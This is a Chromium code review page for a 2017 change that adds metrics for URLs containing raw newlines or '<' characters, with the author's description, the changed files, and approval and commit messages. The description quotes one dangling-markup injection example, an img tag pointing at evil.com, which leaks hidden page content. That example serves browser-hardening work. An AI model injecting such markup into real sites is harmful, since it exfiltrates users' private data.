Chromium Code Reviews
chromiumcodereview-hr@appspot.gserviceaccount.com (chromiumcodereview-hr) | Please choose your nickname with Settings | Help | Chromium Project | Gerrit Changes | Sign out
(42)

Issue 2629393002: Measure URL resolution with raw newlines and braces. (Closed)

Created:
3 years, 11 months ago by Mike West
Modified:
3 years, 11 months ago
CC:
asvitkine+watch_chromium.org, blink-reviews, blink-reviews-dom_chromium.org, chromium-reviews, dglazkov+blink, eae+blinkwatch, rwlbuis, sof
Target Ref:
refs/pending/heads/master
Project:
chromium
Visibility:
Public.

Description

Measure URL resolution with raw newlines and braces. Because HTML is fairly lax in parsing attribute values, injecting something like `<img src='https://evil.com/?whatever=` can expose otherwise hidden values by eating up elements and their attributes, and resolving them as a URL. Perhaps we could restrict the character set allowed in `src`/`href` attributes to bring them in-line with CSS's rules for `url('`. That is, perhaps we should stop resolving URLs that contain raw newline characters (`\n`)? Or braces (`<`)? Or both? It's not clear whether we can do something about this by default, so let's add metrics and see what we see. BUG=680970 R=jochen@chromium.org Review-Url: https://codereview.chromium.org/2629393002 Cr-Commit-Position: refs/heads/master@{#443793} Committed: https://chromium.googlesource.com/chromium/src/+/63ec3598c662f32715148c25faf99771c9d1cb6c

Patch Set 1 #

Patch Set 2 : Formatting. #

Unified diffs Side-by-side diffs Delta from patch set Stats (+19 lines, -0 lines) Patch
M third_party/WebKit/Source/core/dom/Document.cpp View 1 1 chunk +13 lines, -0 lines 0 comments Download
M third_party/WebKit/Source/core/frame/UseCounter.h View 1 chunk +3 lines, -0 lines 0 comments Download
M tools/metrics/histograms/histograms.xml View 1 chunk +3 lines, -0 lines 0 comments Download

Messages

Total messages: 14 (10 generated)
Mike West
Mind taking a look at this, Jochen?
3 years, 11 months ago (2017-01-13 14:32:47 UTC) #6
jochen (gone - plz use gerrit)
lgtm
3 years, 11 months ago (2017-01-13 18:52:50 UTC) #9
commit-bot: I haz the power
CQ is trying da patch. Follow status at https://chromium-cq-status.appspot.com/v2/patch-status/codereview.chromium.org/2629393002/20001
3 years, 11 months ago (2017-01-14 06:08:19 UTC) #11
commit-bot: I haz the power
3 years, 11 months ago (2017-01-14 06:14:01 UTC) #14
Message was sent while issue was closed.
Committed patchset #2 (id:20001) as
https://chromium.googlesource.com/chromium/src/+/63ec3598c662f32715148c25faf9...

Powered by Google App Engine
This is Rietveld 408576698